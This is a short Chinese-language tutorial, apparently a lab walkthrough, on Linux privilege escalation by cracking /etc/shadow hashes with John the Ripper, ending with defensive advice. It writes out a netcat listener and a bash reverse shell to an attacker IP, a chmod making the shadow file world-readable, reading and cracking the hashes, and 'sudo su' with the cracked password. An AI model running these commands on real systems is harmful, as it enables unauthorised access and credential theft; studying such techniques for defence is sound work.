Linux提权--John碰撞密码提权
John the Ripper(简称 John)是一个常用的密码破解工具,可以通过暴力破解、字典攻击、规则攻击等方式,尝试猜解用户密码。密码的弱度是提权攻击中的一个重要因素,如果某个用户的密码非常简单或是默认密码,攻击者就可以利用密码破解工具轻松提取出密码,进而获得该用户的权限,甚至是 root 权限。
一.常见的 John 密码碰撞提权方法
- 通过获取 /etc/shadow 文件:在 Linux 系统中,用户的密码哈希值通常保存在 /etc/shadow 文件中。如果攻击者能够读取到该文件,便可以使用 John the Ripper 等工具进行密码破解。
- 使用字典攻击:如果密码设置简单或基于常见的单词,John the Ripper 可以通过字典攻击快速猜解密码。字典攻击是基于预先构建的常见密码列表来进行尝试。
- 暴力破解:如果密码较为复杂,可以使用暴力破解法尝试所有可能的字符组合来解锁密码,尽管这个过程可能需要较长的时间。
二.漏洞示例
A.获取靶机shell
-
攻击机监听端口
- 命令:nc -nvlp 7771
-
-
目标主机反向连接
- 命令:bash -i >& /dev/tcp/192.168.13.130/7771 0>&1
-
-
连接成功,获取shell
-
B.赋予权限(提权条件)
-
命令:sudo chmod 666 shadow
- PS:使shadow文件可被任意用户查看。
-
拿到用户密码的哈希值
- 命令:cat /etc/shadow
-
C.密码提权
-
存放哈希
- 命令:vim password.txt
-
-
密码破解
- 命令:john password.txt
-
-
提权成功
-
第一步:python -c 'import pty;pty.spawn("/bin/bash")'
- PS:切换到交互式shell
-
第二步:sudo su
- PS:填写爆破出来的密码,完成提权。
-
-
三.防御措施
- 使用强密码:复杂且长的密码,包含字母、数字和符号。
- 高盐值与多迭代:使用强加密算法(如 SHA-256),并增加盐值和迭代次数。
- 禁用弱哈希算法:不使用 MD5 或 SHA-1,改用 bcrypt 或 PBKDF2。
- 限制 sudo 权限:仅授予必要的权限。
- 启用多因素认证:增加登录安全层。
- 定期更换密码并审计日志:加强密码更新和行为监控。